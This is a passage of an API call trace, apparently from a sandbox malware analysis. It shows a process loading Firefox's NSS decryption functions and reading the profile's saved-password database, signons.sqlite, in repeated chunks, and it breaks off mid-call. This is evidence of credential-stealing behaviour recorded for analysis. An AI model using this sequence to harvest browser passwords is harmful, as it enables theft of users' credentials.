0x74430000 [0056.736] GetProcAddress (hModule=0x74430000, lpProcName="NSS_Init") returned 0x744ed70b [0056.736] GetProcAddress (hModule=0x74430000, lpProcName="PK11_GetInternalKeySlot") returned 0x74483c51 [0056.736] GetProcAddress (hModule=0x74430000, lpProcName="PK11_Authenticate") returned 0x7446d3ca [0056.736] GetProcAddress (hModule=0x74430000, lpProcName="PK11SDR_Decrypt") returned 0x744800a7 [0056.737] GetProcAddress (hModule=0x74430000, lpProcName="NSSBase64_DecodeBuffer") returned 0x744ee7d9 [0056.737] GetProcAddress (hModule=0x74430000, lpProcName="PK11_CheckUserPassword") returned 0x7446cbc4 [0056.737] GetProcAddress (hModule=0x74430000, lpProcName="SECITEM_FreeItem") returned 0x744ee656 [0056.737] GetProcAddress (hModule=0x74430000, lpProcName="NSS_Shutdown") returned 0x744ed13c [0056.737] GetProcAddress (hModule=0x74430000, lpProcName="PK11_FreeSlot") returned 0x74483333 [0056.737] NSS_Init () returned 0x0 [0056.759] PK11_GetInternalKeySlot () returned 0x212d000 [0056.759] PK11_Authenticate () returned 0x0 [0056.759] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f7ec | out: ppstm=0x21f7ec*=0x2d9008) returned 0x0 [0056.760] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0056.760] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.760] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.760] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.760] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.760] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.760] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.761] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.761] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.762] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.762] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.763] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.763] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.763] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.763] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.764] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.764] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.764] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.764] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.764] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.764] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.764] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.764] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.764] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.764] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.764] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.765] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.765] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.766] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.766] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21e7d0, lpOverlapped=0x0 | out: lpBuffer=0x21e7d8*, lpNumberOfBytesRead=0x21e7d0*=0x1000, lpOverlapped=0x0) returned 1 [0056.767] IStream:Commit (This=0x2d9008, grfCommitFlags=0x21e7d8) returned 0x0 [0056.767] ReadFile (in: hFile=0x138, lpBuffer=0x21e7d8, 